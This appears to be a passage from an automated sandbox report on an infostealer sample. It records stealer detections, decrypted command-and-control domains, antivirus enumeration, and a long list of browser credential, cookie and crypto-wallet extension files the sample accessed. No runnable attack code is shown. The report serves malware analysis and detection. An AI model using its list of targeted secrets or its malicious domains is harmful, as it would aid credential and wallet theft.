Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_0078652B mov eax, dword ptr fs:[00000030h]	7_2_0078652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_0078A302 mov eax, dword ptr fs:[00000030h]	8_2_0078A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_0078652B mov eax, dword ptr fs:[00000030h]	8_2_0078652B

Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: VJV6IQUTCE3IBMH3UJROT.exe PID: 6556, type: MEMORYSTR

LummaC encrypted strings found

Source: ZBbOXn0a3R.exe, 00000001.00000003.2157342155.0000000004A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: hummskitnj.buzz
Source: ZBbOXn0a3R.exe, 00000001.00000003.2157342155.0000000004A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: ZBbOXn0a3R.exe, 00000001.00000003.2157342155.0000000004A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: appliacnesot.buzz
Source: ZBbOXn0a3R.exe, 00000001.00000003.2157342155.0000000004A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: screwamusresz.buzz
Source: ZBbOXn0a3R.exe, 00000001.00000003.2157342155.0000000004A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: inherineau.buzz
Source: ZBbOXn0a3R.exe, 00000001.00000003.2157342155.0000000004A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scentniej.buzz
Source: ZBbOXn0a3R.exe, 00000001.00000003.2157342155.0000000004A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rebuildeso.buzz
Source: ZBbOXn0a3R.exe, 00000001.00000003.2157342155.0000000004A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: prisonyfork.buzz
Source: ZBbOXn0a3R.exe, 00000001.00000003.2157342155.0000000004A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mindhandru.buzz

Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe

Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Jump to behavior

Source: VJV6IQUTCE3IBMH3UJROT.exe, VJV6IQUTCE3IBMH3UJROT.exe, 00000004.00000002.2990227647.0000000000A4A000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: nOProgram Manager
Source: QA4B92LG0Q3PL6TE6NK36C44P92RH.exe, 00000006.00000002.3087016800.000000000123B000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000007.00000002.3113799343.000000000098B000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, 00000008.00000002.3116183545.000000000098B000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: FProgram Manager

Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe

Code function: 6_2_0101CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

6_2_0101CBEA

Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: ZBbOXn0a3R.exe, ZBbOXn0a3R.exe, 00000001.00000003.2759212408.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2729588387.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2746855415.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912401012.0000000000E98000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912572478.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912746408.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2912712332.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2729095318.0000000000E43000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2729095318.0000000000E28000.00000004.00000020.00020000.00000000.sdmp, ZBbOXn0a3R.exe, 00000001.00000003.2729751740.0000000000E43000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 8.2.skotes.exe.750000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.QA4B92LG0Q3PL6TE6NK36C44P92RH.exe.1000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.skotes.exe.750000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.skotes.exe.750000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.3114854961.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3086296651.0000000001001000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3113044007.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3397023776.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: ZBbOXn0a3R.exe PID: 3224, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 4.2.VJV6IQUTCE3IBMH3UJROT.exe.630000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2991645944.00000000011DD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2988342509.0000000000631000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: VJV6IQUTCE3IBMH3UJROT.exe PID: 6556, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: ZBbOXn0a3R.exe, 00000001.00000003.2759212408.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: ZBbOXn0a3R.exe, 00000001.00000003.2759212408.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: ZBbOXn0a3R.exe	String found in binary or memory: Jaxx Liberty
Source: ZBbOXn0a3R.exe, 00000001.00000003.2759212408.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: ZBbOXn0a3R.exe, 00000001.00000003.2675743273.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: ZBbOXn0a3R.exe, 00000001.00000003.2729095318.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ","ez":"ExodusWeb3"},{"en":"onhogfjeacnfoofkfgppdlbmlmnplgbn","ez":"Sub"},{"
Source: ZBbOXn0a3R.exe, 00000001.00000003.2759212408.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: ZBbOXn0a3R.exe, 00000001.00000003.2759212408.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
